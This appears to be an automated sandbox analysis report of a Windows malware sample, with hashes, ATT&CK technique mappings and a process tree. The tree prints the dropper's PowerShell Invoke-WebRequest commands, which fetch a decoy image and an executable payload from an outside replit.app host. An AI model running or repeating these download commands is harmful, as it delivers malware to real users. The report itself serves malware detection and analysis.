a9954799549b2110e7a9db4ff0656899cd083387c9e31f06dcab6ebdb75b3fba

General

Target

sample.exe
Size

288KB
MD5

587be0c9be93274c3d38ef27c3a50aa4
SHA1

6808c0da1276c7ad2021ffb7c0b8d743f5c87b35
SHA256

cf4ff6cb9038c130e7b6d76daf2af62d018541c3d561d5e0aba8a34614ebc5d8
SHA512

5d2dbadb93ae2d91c3e7af58be9b28a7270a86b1c3b2bfbae64f232a06f26efa72162dc4adb22ce1f269429eecb2d4b5b44e1c1494658de702c1f2dad0c9c879
SSDEEP

3072:Cq6+ouCpk2mpcWJ0r+QNTBf2Wk1qXkXRA4XTZ5N:Cldk1cWQRNTB+l8KN

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe
2700	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sample.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2716	powershell.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 2776	2704	sample.exe	31
PID 2704 wrote to memory of 2776	2704	sample.exe	31
PID 2704 wrote to memory of 2776	2704	sample.exe	31
PID 2704 wrote to memory of 2776	2704	sample.exe	31
PID 2776 wrote to memory of 2716	2776	cmd.exe	33
PID 2776 wrote to memory of 2716	2776	cmd.exe	33
PID 2776 wrote to memory of 2716	2776	cmd.exe	33
PID 2776 wrote to memory of 2700	2776	cmd.exe	34
PID 2776 wrote to memory of 2700	2776	cmd.exe	34
PID 2776 wrote to memory of 2700	2776	cmd.exe	34

C:\Users\Admin\AppData\Local\Temp\sample.exe
"C:\Users\Admin\AppData\Local\Temp\sample.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E762.tmp\E763.tmp\E764.bat C:\Users\Admin\AppData\Local\Temp\sample.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://secured-order-download-businessportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://secured-order-download-businessportal.replit.app/CoinAIfdp.exe' -OutFile CoinAIfdp.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\E762.tmp\E763.tmp\E764.bat

Filesize
336B

MD5
01c5cda0bd57d42a84beff225913c7f6

SHA1
1047c8ce097c87214b5337c98278f4ce5a5896f7

SHA256
454734ff80f0ff62344d6adeaf700983b1d5da605d192226e3a1e40020ec0d31

SHA512
76af6d488d7fdf8d701d16e0c884811df4c7a7bf34b74c30f7e993490420ebb895889048ae9ec5ca82d037f49de42028fca751d66915df543cd4394fcff727b2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ce1eec24e8995274e1b4d747b46395c8

SHA1
a7e16288b4b1aa71c8c22886be8c1b3e85856ee4

SHA256
2e1f26a31fba9f6de0da7b6992dcc99685b719d164e61e7cdd75504307001770

SHA512
dab884f4d46af8d181e61df113587fe5495e98e545069a7728c3f3e23588d8411fc46f603d41b56660b56847142a616e30568404920cebf30e592ee5798c8745

Download Submit
memory/2700-21-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2700-20-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-11-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-10-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-7-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-12-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-13-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-14-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-8-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2716-9-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-6-0x000007FEF5D7E000-0x000007FEF5D7F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing